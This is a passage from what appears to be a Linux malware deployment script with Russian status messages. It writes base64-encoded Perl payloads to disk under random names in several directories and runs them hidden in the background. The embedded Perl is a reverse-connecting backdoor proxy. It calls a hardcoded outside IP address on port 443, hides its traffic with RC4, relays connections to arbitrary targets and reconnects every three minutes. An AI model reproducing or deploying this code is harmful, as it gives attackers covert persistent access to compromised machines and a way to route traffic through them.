b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #31 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #31 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 32 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh 